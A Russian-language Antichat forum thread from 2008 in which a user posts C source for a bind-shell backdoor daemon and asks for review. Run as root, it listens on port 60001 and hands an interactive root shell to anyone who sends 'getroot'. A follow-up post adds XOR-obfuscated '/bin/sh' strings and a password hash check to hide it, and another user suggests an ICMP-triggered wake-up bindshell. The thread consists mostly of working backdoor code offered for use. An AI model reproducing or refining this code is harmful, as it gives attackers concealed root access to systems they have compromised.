Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

14.03.2008, 10:03
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Daemon
Просьба к гуру *NIX-систем и кодинга посмотреть прилагающийся код.
Написал тут демона, компилируется (без SUID-бита) и стартуется рутом, прослушивает порт 60001, ожидает строку "getroot" и дает рут-шелл.
Правильно ли он написан? Например, я не силен в обработке сигналов, посылаемых демону. Что можете посоветовать по коду, что переписать грамотнее, что добавить можно?
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
//#include <syslog.h>
#include <netinet/in.h>
#define PORT 60001
#define MAX_SIZE 255
void sighandler (int signum)
{
waitpid (0, 0, WNOHANG);
}
void mainloop ()
{
int sock_srv, sock_cli, len_cli;
struct sockaddr_in sin_srv, sin_cli;
if ((sock_srv = socket (AF_INET, SOCK_STREAM, 0)) != -1)
{
memset (&sin_srv, '\0', sizeof (struct sockaddr_in));
sin_srv.sin_family = AF_INET;
sin_srv.sin_addr.s_addr = htonl (INADDR_ANY);
sin_srv.sin_port = htons (PORT);
len_cli = sizeof (struct sockaddr_in);
if ((bind (sock_srv, (struct sockaddr *) &sin_srv, sizeof (struct sockaddr_in))) != -1)
{
while (1)
{
if ((listen (sock_srv, 10)) != -1)
{
if ((sock_cli = accept (sock_srv, (struct sockaddr *) &sin_cli, &len_cli)) != -1)
{
//syslog (LOG_NOTICE, "connection from %s", inet_ntoa (sin_cli.sin_addr));
if (!fork ())
{
dup2 (sock_cli, 0);
dup2 (sock_cli, 1);
dup2 (sock_cli, 2);
operate (sock_cli);
}
close (sock_cli);
}
}
}
}
close (sock_srv);
exit (0);
}
}
void operate (int sock)
{
char answer [MAX_SIZE];
char query [MAX_SIZE];
memset (answer, '\0', MAX_SIZE);
memset (query, '\0', MAX_SIZE);
read (sock, &query, MAX_SIZE);
query [strlen (query) - 1] = '\0';
if (strstr (query, "getroot") != NULL)
{
//sprintf (answer, "Your string: %s, length: %d\n\0", query, strlen (query));
//write (sock, answer, strlen (answer));
setreuid (0, 0);
setregid (0, 0);
execl ("/bin/sh", "sh", "-i", NULL);
}
else
{
strcpy (answer, "Fuck out\n\0");
write (sock, answer, strlen (answer));
}
exit (0);
}
void daemonize ()
{
int pid;
struct sigaction sa;
pid = fork ();
switch (pid)
{
case 0:
setsid ();
chdir ("/");
//close (0);
//close (1);
//close (2);
memset (&sa, '\0', sizeof (struct sigaction));
sa.sa_handler = &sighandler;
sigaction (SIGCHLD, &sa, 0);
//openlog ("mydaemon", 0, LOG_USER);
mainloop ();
//closelog ();
exit (0);
case -1:
printf ("[-] fork\n");
break;
default:
printf ("ok. PID = %d\n", pid);
break;
}
}
int main ()
{
daemonize ();
exit (0);
}
|
|
|

18.03.2008, 07:39
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Ндя, местные гуру даже код простенького бэкдора покритиковать не могут 
|
|
|

18.03.2008, 11:30
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
Зависит от пользователя, от которого запущен демон. Но для начала неплохо  . Но, всё таки, посмотри в сторону pty. Если интересна авторизация, то можно не читать строку "getroot" , а ловить icmp пакеты и парсить их(wake-up bindshell)
Последний раз редактировалось Ky3bMu4; 18.03.2008 в 11:33..
|
|
|

18.03.2008, 12:28
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Зависит от пользователя, от которого запущен демон.
Да, все правильно. Демон запускаться будет от рута. А авторизацию я сделал таким образом
Код:
#define MAGIC_WORD "тут_хэш_md5_unix"
char magic_word1 [] = "\xae\xe3\xe8\xef\xae\xf2\xe9\x00"; // поксоренный c 0x81 /bin/sh
char magic_word2 [] = "\xf2\xe9\x00"; // "sh" ^ 0x81
char magic_word3 [] = "\xac\xe8\x00"; // "-i" ^ 0x81
...
if (strstr (crypt (query, "$1$это_соль"), MAGIC_WORD) != NULL)
{
for (i = 0, len = strlen (magic_word1); i < len; magic_word1 [i++] ^= 0x81);
for (i = 0, len = strlen (magic_word2); i < len; magic_word2 [i++] ^= 0x81);
for (i = 0, len = strlen (magic_word3); i < len; magic_word3 [i++] ^= 0x81);
setreuid (0, 0);
setregid (0, 0);
execl (magic_word1, magic_word2, magic_word3, NULL);
}
По-ламерски, конечно, сделано, отловить пасс сниффером не составит труда. А насчет icmp-пакетов сэнкс, я уже подумывал
|
|
|

18.03.2008, 14:23
|
|
Moderator - Level 7
Регистрация: 16.02.2008
Сообщений: 580
Провел на форуме: 1595333
Репутация:
291
|
|
почемц memset (&sin_srv, '\0', sizeof (struct sockaddr_in)); а не bzero(&sin_srv, sizeof (struct sockaddr_in));?
|
|
|

18.03.2008, 16:29
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Можно и так, результат все равно один.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|